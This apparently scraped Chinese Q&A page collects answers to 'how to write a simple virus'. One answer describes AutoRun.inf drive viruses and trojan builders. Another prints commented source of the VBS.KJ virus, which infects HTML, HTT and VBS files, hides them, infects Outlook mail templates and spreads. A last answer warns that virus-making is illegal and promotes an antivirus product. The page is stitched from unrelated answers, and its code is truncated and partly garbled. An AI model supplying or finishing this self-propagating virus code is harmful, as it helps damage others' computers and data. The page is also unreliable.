育才学习网1. 怎么做一个简单的小病毒
AUTO病毒简介：这种病毒在每个驱动器（硬盘、MP3/MP4……）下都有一个卷标AutoRun.inf文件，只要你双击驱动器（如D：），就会激活病毒。感染后双击盘符打不开驱动器，而且会导致病毒复制一次！
病毒不像是什么东西，他是一种可以执行的程序，没有所谓简单的病毒，每个病毒程序都有自己运行的目的，比如盗取用户资料或远程控制等.要想生成这种程序，你得必须会一种计算机语言.比如C++,VB，等只有这样才可以制作程序.
还有一种就是用别人的木马工具生成所谓的病毒，发送到别人的电脑上让其运行，比如众所周知的灰鸽子，及很多盗号的小型软件.
不论是什么方式制作你都要先懂得病毒的运行机理，电脑的传输方式，杀毒软件的杀毒原理.
你的这个问题是一个很深奥的问题，病毒没有简单和复杂只分，所谓的简单的病毒实际上都是比较精练的程序.
如果真想制作病毒可以给你些网站：
2. 怎么编写整人的小病毒
那就看看vbs.kj的源码
Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
\' 初始化变量
KJSetDim()
\' 初始化环境
KJCreateMilieu()
\' 感染本地或者共享上与html所在目录
KJLikeIt()
\' 通过vbs感染Outlook邮件模板
KJCreateMail()
\' 进行病毒传播
KJPropagate()
End Sub
\' 函数：KJAppendTo(FilePath,TypeStr)
\' 功能：向指定类型的指定文件追加病毒
\' 参数：
\' FilePath 指定文件路径
\' TypeStr 指定类型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
\' 以只读方式打开指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
\' 将文件内容读入到TmpStr变量中
TmpStr = ReadTemp.ReadAll
\' 判断文件中是否存在“KJ_start（)“字符串，若存在说明已经感染，退出函数；
\' 若文件长度小于1，也退出函数。
If Instr(TmpStr,“KJ_start()“) <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
\' 如果传过来的类型是“htt“
\' 在文件头加上调用页面的时候加载KJ_start（)函数；
\' 在文件尾追加html版本的加密病毒体。
\' 如果是“html“
\' 在文件尾追加调用页面的时候加载KJ_start（)函数和html版本的病毒体；
\' 如果是“vbs“
\' 在文件尾追加vbs版本的病毒体
If TypeStr = “htt“ Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write “<“ & “BODY onl oad=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = “html“ Then
FileTemp.Write vbCrLf & “<“ & “HTML>“ & vbCrLf & “<“ & “BODY onl oad=“““ & “vbscript:“ & “KJ_start()“““ & “>“ & vbCrLf & HtmlText
ElseIf TypeStr = “vbs“ Then
FileTemp.Write vbCrLf & VbsText
End If
3. 怎么样编写一个简易的小病毒
愿我的答案 能够解决您的烦忧
制作木马病毒是不法行为，维护网络绿色环境人人有责，劝你千万别去制作这个
1，如果谁的电脑中了病毒，可以按我说的办法杀毒。
2，下载腾讯电脑管家“8.5”最新版，对电脑首先进行一个体检，打开所有防火墙避免系统其余文件被感染。
3，打开杀毒页面开始查杀，切记要打开小红伞引擎。
4，如果普通查杀不能解决问题，您可以打开腾讯电脑管家---工具箱---顽固木马专杀- 进行深度
扫描。
5，查杀处理完所有病毒后，立刻重启电脑，再进行一次安全体检，清除多余系统缓存文件，避免二次感染。
如果您对我的答案不满意，可以继续追问或者提出宝贵意见，谢谢
